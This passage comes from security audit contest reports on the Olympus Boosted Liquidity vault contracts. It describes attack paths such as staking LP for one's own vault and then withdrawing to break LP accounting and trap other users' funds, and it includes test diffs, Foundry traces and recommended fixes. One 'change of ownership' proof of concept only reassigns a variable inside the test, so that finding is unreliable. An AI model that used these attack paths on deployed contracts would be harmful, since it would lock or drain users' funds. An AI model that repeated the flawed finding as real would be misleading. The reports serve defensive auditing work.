The cost of the attack to the user is limited, they mint LP tokens, stake them, and eventually get wstETH back. They lose 50% of the value of the withdraw since they receive only the wstETH and not the OHM (which they had to LP). However, it is sufficient that a user perform this attack with a value of 1 with negligible costs to break accounting.

Code Snippet

Tool used

Manual Review

Recommendation

Add tracking of deposits and withdraw within user vaults so that they can only withdraw what they deposited.

Duplicate of #4

0x52 - Adversary can stake LP directly for the vault then withdraw to break lp accounting in BLVaultManagerLido

0x52

high

Adversary can stake LP directly for the vault then withdraw to break lp accounting in BLVaultManagerLido

Summary

The AuraRewardPool allows users to stake directly for other users. In this case the malicious user could stake LP directly for their vault then call withdraw on their vault. This would cause the LP tracking to break on BLVaultManagerLido. The result is that some users would now be permanently trapped because their vault would revert when trying to withdraw.

Vulnerability Detail

BaseRewardPool.sol#L196-L207

function stakeFor(address _for, uint256 _amount)
    public
    returns(bool)
{
    _processStake(_amount, _for);

    //take away from sender
    stakingToken.safeTransferFrom(msg.sender, address(this), _amount);
    emit Staked(_for, _amount);
    
    return true;
}

AuraRewardPool allows users to stake directly for another address with them receiving the staked tokens.

BLVaultLido.sol#L218-L224

    manager.decreaseTotalLp(lpAmount_);

    // Unstake from Aura
    auraRewardPool().withdrawAndUnwrap(lpAmount_, claim_);

    // Exit Balancer pool
    _exitBalancerPool(lpAmount_, minTokenAmounts_);

Once the LP has been stake the adversary can immediately withdraw it from their vault. This calls decreaseTotalLP on BLVaultManagerLido which now permanently break the LP account.

BLVaultManagerLido.sol#L277-L280

function decreaseTotalLp(uint256 amount_) external override onlyWhileActive onlyVault {
    if (amount_ > totalLp) revert BLManagerLido_InvalidLpAmount();
    totalLp -= amount_;
}

If the amount_ is ever greater than totalLP it will cause decreaseTotalLP to revert. By withdrawing LP that was never deposited to a vault, it permanently breaks other users from being able to withdraw.

Example:
User A deposits wstETH to their vault which yields 50 LP. User B creates a vault then stake 50 LP and withdraws it from his vault. The manager now thinks there is 0 LP in vaults. When User A tries to withdraw their LP it will revert when it calls manger.decreaseTotalLp. User A is now permanently trapped in the vault.

Impact

LP accounting is broken and users are permanently trapped.

Code Snippet

BLVaultLido.sol#L203-L256

Tool used

Manual Review

Recommendation

Individual vaults should track how much they have deposited and shouldn't be allowed to withdraw more than deposited.

fat32 - Unauthorised Change Of Ownership after withdraw function in BLVaultLido.sol

fat32

medium

Unauthorised Change Of Ownership after withdraw function in BLVaultLido.sol

Summary

Unauthorised Change Of Ownership after withdraw function in BLVaultLido.sol
The following test cases should fail and revert, but they do not when I use change owner exploit.
 can only be called by the vault's owner
 correctly decreases state values (deployedOhm and totalLp)
 correctly withdraws liquidity
Please see the POC below which I used Foundry for.  
The impact is that I am able to gain ownership and Withdraw(ohmAmount: 10000000000000, wstethAmount: 100000000000000000000).

Vulnerability Detail

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L203-L256

Impact

Unauthorised Change Of Ownership after withdraw function in BLVaultLido.sol
The following test cases should fail and revert, but they do not when I use change owner exploit.
 can only be called by the vault's owner
 correctly decreases state values (deployedOhm and totalLp)
 correctly withdraws liquidity
Please see the POC below which I used Foundry for.  
The impact is that I am able to gain ownership and Withdraw(ohmAmount: 10000000000000, wstethAmount: 100000000000000000000).

Code Snippet

POC File
src/2023-03-olympus-0xtr3/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol
// POC
// 1. update test file named BLVaultLidoMocks.t.sol for the function below by replacing function named
   // testCorrectness_withdrawCanOnlyBeCalledByTheVaultOwner.
function testCorrectness_withdrawCanOnlyBeCalledByTheVaultOwner(address attacker_) public {
        _withdrawSetup();

        if (attacker_ == alice) {
            vm.prank(alice);
            aliceVault.withdraw(1e18, minAmountsOut, true);
        } else {
            bytes memory err = abi.encodeWithSignature("BLVaultLido_OnlyOwner()");
            vm.expectRevert();

            // Try to withdraw
            bob = alice; // fat32 change owner
            attacker_ = bob; // fat32 change owner
            vm.prank(attacker_);
            aliceVault.withdraw(1e18, minAmountsOut, true);
        }
    }
# 2. run command below
forge test -vvv --match-path src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol
# Log
# 3. log file results of changed ownership
forge test -vvv --match-path src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol
[⠆] Compiling...
No files changed, compilation skipped

Running 13 tests for src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol:BLVaultLidoTest
[PASS] testCorrectness_claimRewardsCanOnlyBeCalledByTheVaultOwner(address) (runs: 256, μ: 19649, ~: 19649)
[PASS] testCorrectness_claimRewardsCanOnlyBeCalledWhenManagerIsActive() (gas: 47075)
[PASS] testCorrectness_claimRewardsCorrectlyClaims() (gas: 439002)
[PASS] testCorrectness_depositCanOnlyBeCalledByTheVaultOwner(address) (runs: 256, μ: 19714, ~: 19714)
[PASS] testCorrectness_depositCanOnlyBeCalledWhenManagerIsActive() (gas: 47127)
[PASS] testCorrectness_depositCorrectlyDeploysLiquidity() (gas: 396052)
[PASS] testCorrectness_depositCorrectlyIncreasesState(uint256) (runs: 256, μ: 406200, ~: 406202)
[PASS] testCorrectness_getLpBalance(uint256) (runs: 256, μ: 411701, ~: 411704)
[PASS] testCorrectness_getUserPairShare(uint256) (runs: 256, μ: 446025, ~: 446024)
[FAIL. Reason: Call did not revert as expected Counterexample: calldata=0xc7fe5a700000000000000000000000000000000000000000000000000000000000000000, args=[0x0000000000000000000000000000000000000000]] testCorrectness_withdrawCanOnlyBeCalledByTheVaultOwner(address) (runs: 0, μ: 0, ~: 0)
Traces:
  [607208] BLVaultLidoTest::testCorrectness_withdrawCanOnlyBeCalledByTheVaultOwner(0x0000000000000000000000000000000000000000) 
    ├─ [0] VM::prank(0xfAd8712De4330B640064CFA05d0A29978DEa11C6) 
    │   └─ ← ()
    ├─ [372634] 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51::deposit(100000000000000000000, 0) 
    │   ├─ [370440] BLVaultLido::deposit(100000000000000000000, 0) [delegatecall]
    │   │   ├─ [2459] BLVaultManagerLido::isLidoBLVaultActive() [staticcall]
    │   │   │   └─ ← true
    │   │   ├─ [30352] BLVaultManagerLido::getOhmTknPrice() [staticcall]
    │   │   │   ├─ [194] MockWsteth::stEthPerToken() [staticcall]
    │   │   │   │   └─ ← 1000000000000000000
    │   │   │   ├─ [6797] MockPriceFeed::latestRoundData() [staticcall]
    │   │   │   │   └─ ← 0, 10000000000000000, 0, 1608336000, 0
    │   │   │   ├─ [6797] MockPriceFeed::latestRoundData() [staticcall]
    │   │   │   │   └─ ← 0, 1000000000000000000, 0, 1608336000, 0
    │   │   │   └─ ← 100000000000
    │   │   ├─ [2564] MockBalancerPool::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
    │   │   │   └─ ← 0
    │   │   ├─ [27295] MockWsteth::transferFrom(0xfAd8712De4330B640064CFA05d0A29978DEa11C6, 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 100000000000000000000) 
    │   │   │   ├─ emit Transfer(from: 0xfAd8712De4330B640064CFA05d0A29978DEa11C6, to: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, amount: 100000000000000000000)
    │   │   │   └─ ← true
    │   │   ├─ [111021] BLVaultManagerLido::mintOhmToVault(10000000000000) 
    │   │   │   ├─ [32472] OlympusMinter::increaseMintApproval(BLVaultManagerLido: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], 10000000000000) 
    │   │   │   │   ├─ [2961] Kernel::modulePermissions(0x4d494e5452, BLVaultManagerLido: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], 0x359fe780) [staticcall]
    │   │   │   │   │   └─ ← true
    │   │   │   │   ├─ emit IncreaseMintApproval(policy_: BLVaultManagerLido: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], newAmount_: 10000000000000)
    │   │   │   │   └─ ← ()
    │   │   │   ├─ [50857] OlympusMinter::mintOhm(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 10000000000000) 
    │   │   │   │   ├─ [2961] Kernel::modulePermissions(0x4d494e5452, BLVaultManagerLido: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], 0x3a56e307) [staticcall]
    │   │   │   │   │   └─ ← true
    │   │   │   │   ├─ [52131] OlympusERC20Token::mint(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 10000000000000) 
    │   │   │   │   │   ├─ [0] MockLegacyAuthority::vault() [staticcall]
    │   │   │   │   │   │   └─ ← OlympusMinter: [0x3D7Ebc40AF7092E3F1C81F2e996cbA5Cae2090d7]
    │   │   │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, amount: 10000000000000)
    │   │   │   │   │   └─ ← ()
    │   │   │   │   ├─ emit Mint(policy_: BLVaultManagerLido: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], to_: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, amount_: 10000000000000)
    │   │   │   │   └─ ← ()
    │   │   │   └─ ← ()
    │   │   ├─ [24972] OlympusERC20Token::increaseAllowance(MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], 10000000000000) 
    │   │   │   ├─ emit Approval(owner: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, spender: MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], amount: 10000000000000)
    │   │   │   └─ ← true
    │   │   ├─ [24567] MockWsteth::approve(MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], 100000000000000000000) 
    │   │   │   ├─ emit Approval(owner: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, spender: MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], amount: 100000000000000000000)
    │   │   │   └─ ← true
    │   │   ├─ [281] MockBalancerPool::getPoolId() [staticcall]
    │   │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000000
    │   │   ├─ [83256] MockVault::joinPool(0x0000000000000000000000000000000000000000000000000000000000000000, 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, ([0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], [10000000000000, 100000000000000000000], 0x0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000009184e72a0000000000000000000000000000000000000000000000000056bc75e2d63100000, false)) 
    │   │   │   ├─ [22584] OlympusERC20Token::transferFrom(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], 10000000000000) 
    │   │   │   │   ├─ emit Transfer(from: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, to: MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], amount: 10000000000000)
    │   │   │   │   ├─ emit Approval(owner: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, spender: MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], amount: 0)
    │   │   │   │   └─ ← true
    │   │   │   ├─ [20499] MockWsteth::transferFrom(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], 100000000000000000000) 
    │   │   │   │   ├─ emit Transfer(from: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, to: MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], amount: 100000000000000000000)
    │   │   │   │   └─ ← true
    │   │   │   ├─ [44625] MockBalancerPool::mint(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 100000000000000000000) 
    │   │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, amount: 100000000000000000000)
    │   │   │   │   └─ ← ()
    │   │   │   └─ ← ()
    │   │   ├─ [564] MockBalancerPool::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
    │   │   │   └─ ← 100000000000000000000
    │   │   ├─ [22916] BLVaultManagerLido::increaseTotalLp(100000000000000000000) 
    │   │   │   └─ ← ()
    │   │   ├─ [24545] MockBalancerPool::approve(MockAuraBooster: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], 100000000000000000000) 
    │   │   │   ├─ emit Approval(owner: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, spender: MockAuraBooster: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], amount: 100000000000000000000)
    │   │   │   └─ ← true
    │   │   ├─ [26325] MockAuraBooster::deposit(0, 100000000000000000000, true) 
    │   │   │   ├─ [20481] MockBalancerPool::transferFrom(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, MockAuraRewardPool: [0x15cF58144EF33af1e14b5208015d11F9143E27b9], 100000000000000000000) 
    │   │   │   │   ├─ emit Transfer(from: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, to: MockAuraRewardPool: [0x15cF58144EF33af1e14b5208015d11F9143E27b9], amount: 100000000000000000000)
    │   │   │   │   └─ ← true
    │   │   │   └─ ← true
    │   │   ├─ [557] OlympusERC20Token::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
    │   │   │   └─ ← 0
    │   │   ├─ [553] MockWsteth::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
    │   │   │   └─ ← 0
    │   │   ├─ emit Deposit(ohmAmount: 10000000000000, wstethAmount: 100000000000000000000)
    │   │   └─ ← 100000000000000000000
    │   └─ ← 100000000000000000000
    ├─ [0] VM::expectRevert() 
    │   └─ ← ()
    ├─ [0] VM::prank(0xfAd8712De4330B640064CFA05d0A29978DEa11C6) 
    │   └─ ← ()
    ├─ [211759] 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51::withdraw(1000000000000000000, [0, 0], true) 
    │   ├─ [211544] BLVaultLido::withdraw(1000000000000000000, [0, 0], true) [delegatecall]
    │   │   ├─ [459] BLVaultManagerLido::isLidoBLVaultActive() [staticcall]
    │   │   │   └─ ← true
    │   │   ├─ [557] OlympusERC20Token::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
    │   │   │   └─ ← 0
    │   │   ├─ [553] MockWsteth::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
    │   │   │   └─ ← 0
    │   │   ├─ [1031] BLVaultManagerLido::decreaseTotalLp(1000000000000000000) 
    │   │   │   └─ ← ()
    │   │   ├─ [77512] MockAuraRewardPool::withdrawAndUnwrap(1000000000000000000, true) 
    │   │   │   ├─ [22876] MockBalancerPool::transfer(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 1000000000000000000) 
    │   │   │   │   ├─ emit Transfer(from: MockAuraRewardPool: [0x15cF58144EF33af1e14b5208015d11F9143E27b9], to: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, amount: 1000000000000000000)
    │   │   │   │   └─ ← true
    │   │   │   ├─ [46691] MockERC20::mint(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 1000000000000000000) 
    │   │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, amount: 1000000000000000000)
    │   │   │   │   └─ ← ()
    │   │   │   └─ ← ()
    │   │   ├─ [24545] MockBalancerPool::approve(MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], 1000000000000000000) 
    │   │   │   ├─ emit Approval(owner: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, spender: MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], amount: 1000000000000000000)
    │   │   │   └─ ← true
    │   │   ├─ [281] MockBalancerPool::getPoolId() [staticcall]
    │   │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000000
    │   │   ├─ [43958] MockVault::exitPool(0x0000000000000000000000000000000000000000000000000000000000000000, 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, ([0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], [0, 0], 0x00000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000de0b6b3a7640000, false)) 
    │   │   │   ├─ [2292] MockBalancerPool::burn(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 1000000000000000000) 
    │   │   │   │   ├─ emit Transfer(from: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, to: 0x0000000000000000000000000000000000000000, amount: 1000000000000000000)
    │   │   │   │   └─ ← ()
    │   │   │   ├─ [557] OlympusERC20Token::balanceOf(MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF]) [staticcall]
    │   │   │   │   └─ ← 10000000000000
    │   │   │   ├─ [18730] OlympusERC20Token::transfer(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 10000000000000) 
    │   │   │   │   ├─ emit Transfer(from: MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], to: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, amount: 10000000000000)
    │   │   │   │   └─ ← true
    │   │   │   ├─ [553] MockWsteth::balanceOf(MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF]) [staticcall]
    │   │   │   │   └─ ← 100000000000000000000
    │   │   │   ├─ [18301] MockWsteth::transfer(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 100000000000000000000) 
    │   │   │   │   ├─ emit Transfer(from: MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], to: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, amount: 100000000000000000000)
    │   │   │   │   └─ ← true
    │   │   │   └─ ← ()
    │   │   ├─ [557] OlympusERC20Token::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
    │   │   │   └─ ← 10000000000000
    │   │   ├─ [553] MockWsteth::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
    │   │   │   └─ ← 100000000000000000000
    │   │   ├─ [4852] BLVaultManagerLido::getTknOhmPrice() [staticcall]
    │   │   │   ├─ [194] MockWsteth::stEthPerToken() [staticcall]
    │   │   │   │   └─ ← 1000000000000000000
    │   │   │   ├─ [797] MockPriceFeed::latestRoundData() [staticcall]
    │   │   │   │   └─ ← 0, 10000000000000000, 0, 1608336000, 0
    │   │   │   ├─ [797] MockPriceFeed::latestRoundData() [staticcall]
    │   │   │   │   └─ ← 0, 1000000000000000000, 0, 1608336000, 0
    │   │   │   └─ ← 10000000000000000
    │   │   ├─ [24972] OlympusERC20Token::increaseAllowance(OlympusMinter: [0x3D7Ebc40AF7092E3F1C81F2e996cbA5Cae2090d7], 10000000000000) 
    │   │   │   ├─ emit Approval(owner: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, spender: OlympusMinter: [0x3D7Ebc40AF7092E3F1C81F2e996cbA5Cae2090d7], amount: 10000000000000)
    │   │   │   └─ ← true
    │   │   ├─ [11340] BLVaultManagerLido::burnOhmFromVault(10000000000000) 
    │   │   │   ├─ [10039] OlympusMinter::burnOhm(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 10000000000000) 
    │   │   │   │   ├─ [2961] Kernel::modulePermissions(0x4d494e5452, BLVaultManagerLido: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], 0xaaf0ad5a) [staticcall]
    │   │   │   │   │   └─ ← true
    │   │   │   │   ├─ [4851] OlympusERC20Token::burnFrom(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 10000000000000) 
    │   │   │   │   │   ├─ emit Approval(owner: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, spender: OlympusMinter: [0x3D7Ebc40AF7092E3F1C81F2e996cbA5Cae2090d7], amount: 0)
    │   │   │   │   │   ├─ emit Transfer(from: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, to: 0x0000000000000000000000000000000000000000, amount: 10000000000000)
    │   │   │   │   │   └─ ← ()
    │   │   │   │   ├─ emit Burn(policy_: BLVaultManagerLido: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], from_: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, amount_: 10000000000000)
    │   │   │   │   └─ ← ()
    │   │   │   └─ ← ()
    │   │   ├─ [2381] MockWsteth::transfer(0xfAd8712De4330B640064CFA05d0A29978DEa11C6, 100000000000000000000) 
    │   │   │   ├─ emit Transfer(from: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, to: 0xfAd8712De4330B640064CFA05d0A29978DEa11C6, amount: 100000000000000000000)
    │   │   │   └─ ← true
    │   │   ├─ [542] MockERC20::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
    │   │   │   └─ ← 1000000000000000000
    │   │   ├─ [19901] MockERC20::transfer(0xfAd8712De4330B640064CFA05d0A29978DEa11C6, 1000000000000000000) 
    │   │   │   ├─ emit Transfer(from: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, to: 0xfAd8712De4330B640064CFA05d0A29978DEa11C6, amount: 1000000000000000000)
    │   │   │   └─ ← true
    │   │   ├─ emit RewardsClaimed(rewardsToken: MockERC20: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], amount: 1000000000000000000)
    │   │   ├─ [2542] MockERC20::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
    │   │   │   └─ ← 0
    │   │   ├─ [2350] MockAuraRewardPool::extraRewardsLength() [staticcall]
    │   │   │   └─ ← 0
    │   │   ├─ emit Withdraw(ohmAmount: 10000000000000, wstethAmount: 100000000000000000000)
    │   │   └─ ← 10000000000000, 100000000000000000000
    │   └─ ← 10000000000000, 100000000000000000000
    └─ ← "Call did not revert as expected"

[PASS] testCorrectness_withdrawCanOnlyBeCalledWhenManagerIsActive() (gas: 52804)
[PASS] testCorrectness_withdrawCorrectlyDecreasesState(uint256) (runs: 256, μ: 599961, ~: 601828)
[PASS] testCorrectness_withdrawCorrectlyWithdrawsLiquidity() (gas: 610408)
Test result: FAILED. 12 passed; 1 failed; finished in 189.09ms

Failing tests:
Encountered 1 failing test in src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol:BLVaultLidoTest
[FAIL. Reason: Call did not revert as expected Counterexample: calldata=0xc7fe5a700000000000000000000000000000000000000000000000000000000000000000, args=[0x0000000000000000000000000000000000000000]] testCorrectness_withdrawCanOnlyBeCalledByTheVaultOwner(address) (runs: 0, μ: 0, ~: 0)

Encountered a total of 1 failing tests, 12 tests succeeded

Tool used

Foundry + Visual Studio Code

Manual Review

Recommendation

To validate owner, use require statement and not if statement.

chaduke - Wrong check condition for setLimit() because it fails to recognize the real effective ohm minting limit is ohmLimit + circulatingOhmBurned!

chaduke

medium

Wrong check condition for setLimit() because it fails to recognize the real effective ohm minting limit is ohmLimit + circulatingOhmBurned!

Summary

Wrong check condition for setLimit(). This is because setLimit() fails to consider the effect of circulatingOhmBurned, which is considered by mintOhmToVault() when minting Ohm. The effective limit is not ohmLimit but ohmLimit + circulatingOhmBurned.

Due to the wrongly used condition, sometimes when we want to lower the limit, it will be rejected wrongly, resulting in a higher limit then intended. In the edge case of deployedOhm = 0, the update of ohhLimit is totally frozen, and we cannot even change ohhLimit to zero in this case. As a result, we end up a limit that is much higher than intended (the original limit).

Vulnerability Detail

First, let's look at the function mintOhmToVault, the amount of Ohm that can be minted as constrained by the following condition, inferred from L241.

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L239-L249

deployedOhm + amount_ <= ohmLimit + circulatingOhmBurned

As a result, we have

deployeeOhm <= ohmLimit + circulatingOhmBurned

In other words, the real minting limit is ohmLimit + circulatingOhmBurned, not ohmLimit!

However, the following condition for setLimit() is not consistent with the above condition:

function setLimit(uint256 newLimit_) external override onlyRole("liquidityvault_admin") {
        if (newLimit_ < deployedOhm) revert BLManagerLido_InvalidLimit();
        ohmLimit = newLimit_;
    }

It fails to consider the effect of circulatingOhmBurned. The effective limit is not ohmLimit but ohmLimit + circulatingOhmBurned. The correction should be:

function setLimit(uint256 newLimit_) external override onlyRole("liquidityvault_admin") {
-        if (newLimit_ < deployedOhm) revert BLManagerLido_InvalidLimit();
+       if (newLimit_+ circulatingOhmBurned < deployedOhm) revert BLManagerLido_InvalidLimit();
        ohmLimit = newLimit_;
    }

The impact is that sometimes, we cannnot lower the limit as we want (what we want is also legitimate). In other words, the wrong condition provides some "resistance" to lower the limit, and pushing the limit higher than necessary. The following example shows that we are not able to lower the limit due to this wrong condition. As a result, we end up in a limit HIGHER then we want. With a correct condition, we would be able to lower the limit.

For example, suppose oldLimit = 1,000,000e18 and circulatingOhmBurned = 500,000e18 and deployedOhm = 1,400,000e18. Since deployedOhm < oldLimit + circulatingOhmBurned, there is no violation.

Now suppose want to lower the limit to newLimit = 950,000e18, since we still have c + circulatingOhmBurned``, there is no violation either.

However, the function setLimit() will use condition deployedOhm < oldLimit to
reject this decrease of ohmLimit, even though there is no violation. We should be able to lower the limit to 950,000e18 if we use the correct limit/condition.

As a result, since we are not be able to lower the limit, we have to accept the original higher limit since we could not lower the limit.

In the edge case of deployedOhm = 0, the update of ohhLimit is totally frozen, and we cannot even change ohhLimit to zero in this case. As a result, we end up a limit that is much higher than intended (the original limit). This is a much serious issue since ohhLimit might be a large value and there might be a need to reduce this large limit.

Impact

setLimit() fails to consider the real/effective limit is newLimit_+circulatingOhmBurned, not just newLimit. As a result, setLimit() might fail even when it is not supposed to. As a result, one need to set the limit unnecessary high!

If deployedOhm = 0, one cannot lower the limit at all, the update of limit is totally frozen. As a result, one has to use the original limit, even though it is a very high limit!

Code Snippet

See above

Tool used

VScode

Manual Review

Recommendation

Correction, the effective limit is newLimit+circulatingOhmBurned:

function setLimit(uint256 newLimit_) external override onlyRole("liquidityvault_admin") {
-        if (newLimit_ < deployedOhm) revert BLManagerLido_InvalidLimit();
+       if (newLimit_+ circulatingOhmBurned < deployedOhm) revert BLManagerLido_InvalidLimit();
        ohmLimit = newLimit_;
    }

Duplicate #48

0x4non - Immutable fee value in `BLVaultLido` make impossible to update fees for existing vaults

0x4non

high

Immutable fee value in BLVaultLido make impossible to update fees for existing vaults

Summary

I love that you are using clones with immutables, but there is an issue on this where the fee is set as an immutable value when deploying new vaults. This makes it impossible to update the fee for existing vaults, and any changes will only apply to newly created vaults.

Vulnerability Detail

The BLVaultManagerLido contract uses the ClonesWithImmutableArgs library to create clones of the vault implementation and set immutable arguments.
The current implementation is using the fee as an immutable value, which means it cannot be updated once the vault is deployed.

Impact

The impact of this vulnerability is that any changes to the fee will only apply to new vaults created after the change. This may lead to inconsistent fees across vaults and limit the ability of the contract owner to update fees for all vaults.

Code Snippet

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L111-L114
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L216-L218

POC

diff --git a/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol b/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol
index eb240b1..9474e78 100644
--- a/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol
+++ b/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol
@@ -267,6 +267,20 @@ contract BLVaultManagerLidoTest is Test {
         vaultManager.deployVault();
     }
 
+    function testCorrectness_setFeeUpdatesCorrectly(uint64 fee_) public {
+        vm.assume(fee_ <= 10_000);
+
+        vm.prank(alice);
+        BLVaultLido aliceVault = BLVaultLido(vaultManager.deployVault());
+        assertEq(aliceVault.fee(), 0);
+
+        // Set fee
+        vaultManager.setFee(fee_);
+
+        // Check state after
+        assertEq(aliceVault.fee(), fee_, "fee not updated correctly");
+    }
+
     function testCorrectness_deployVaultCorrectlyClonesVault() public {
         // Create vault
         vm.prank(alice);

Tool used

Manual Review

Recommendation

Use the fee setted on the manager;

diff --git a/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol b/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol
index 2f38587..3236916 100644
--- a/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol
+++ b/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol
@@ -109,8 +109,8 @@ contract BLVaultLido is IBLVaultLido, Clone {
         return IAuraRewardPool(_getArgAddress(252));
     }
 
-    function fee() public pure returns (uint64) {
-        return _getArgUint64(272);
+    function fee() public view returns (uint64) {
+        return manager().currentFee();
     }
diff --git a/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol b/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol
index 9013392..32fc8e3 100644
--- a/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol
